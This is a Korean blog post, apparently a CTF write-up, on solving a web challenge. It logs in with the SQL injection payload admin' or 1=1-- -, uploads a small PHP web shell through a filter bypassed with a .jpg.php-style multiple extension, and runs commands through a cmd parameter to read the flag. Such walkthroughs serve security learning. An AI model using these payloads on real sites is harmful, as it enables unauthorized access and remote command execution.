파일업로드 취약점과 관련된
웹 해킹 문제
소스파일은 따로 없이 문제 페이지 주소만 주어진다.
문제페이지에 접속하면
이렇게 로그인 페이지가 나온다.
문제 설명이나 주석 등등에
로그인 계정과 관련한 내용이 없었기에
가장 간단한 SQL Injection 페이로드인
admin' or 1=1-- - 으로 로그인을 시도해봤다.
SQL Injection 이 먹혀서 바로 다음 화면인
Admin Dashboard 로 넘어갔다.
파일을 업로드 할 수 있는 기능이 있는데,
JPEG 파일만 업로드 가능하도록 안내하고 있다.
<?php
$a = $_GET['cmd'];
system($a)
?>
파일 업로드 취약점을 이용하기 위해
위와 같이 간단한 php 웹쉘을 작성했다.
파일이름은 shell.php 로 저장했다.
해당 파일을 업로드 시도해보니
.php 확장자는 이미지가 아니라면서 업로드가 거부된다.
jpg 파일을 업로드 하면
이렇게 파일 이름이 해시값으로 바뀌고,
Click here 를 통해 어느 경로에 업로드 되었는지 까지 확인할 수 있다.
어떻게 우회를 할까 고민하다가
확장자를 세번 써봤다.
필터링하는 주요한 확장자인 .jpg 는 가운데 쓰고,
Webshell 로 동작시키기 위한 .php 는 맨 마지막에 썼다.
해당 파일을 업로드 하니
.jpg 파일로 인식되어서 정상적으로 업로드가 가능했다.
Click here 버튼을 눌러
rendering 페이지로 넘어왔다.
정상적인 이미지 파일이 아니기 때문에 당연히 깨져서 보인다.
이미지를 우클릭해서 새 탭에서 이미지 열기를 선택한다.
새 탭에서
URL 맨 뒤에 ?cmd=id 를 추가해본 결과
id 명령어 실행되어서 출력까지 되는것을 확인했다.
이제 이부분에 명령어를 넣어주면 된다.
플래그를 어디서 읽어야 하는지 찾다가
root 경로에서 flag.txt 파일이 있는것을 발견했다.
cat 명령어로 해당 파일을 읽으면
플래그를 찾을 수 있다.
'CTF > 웹해킹' 카테고리의 다른 글
[n00bzCTF] Conditions - 웹해킹 (98) | 2023.06.22 |
---|---|
[n00bzCTF] Club_N00b - 웹해킹 (83) | 2023.06.21 |
[DanteCTF] Dante Barber Shop - 웹해킹 / SQL Injection (76) | 2023.06.16 |
[DanteCTF] Unknown Site 2 - 웹해킹 (79) | 2023.06.14 |
[DanteCTF] Unknown Site 1 - 웹해킹 / robots.txt (99) | 2023.06.13 |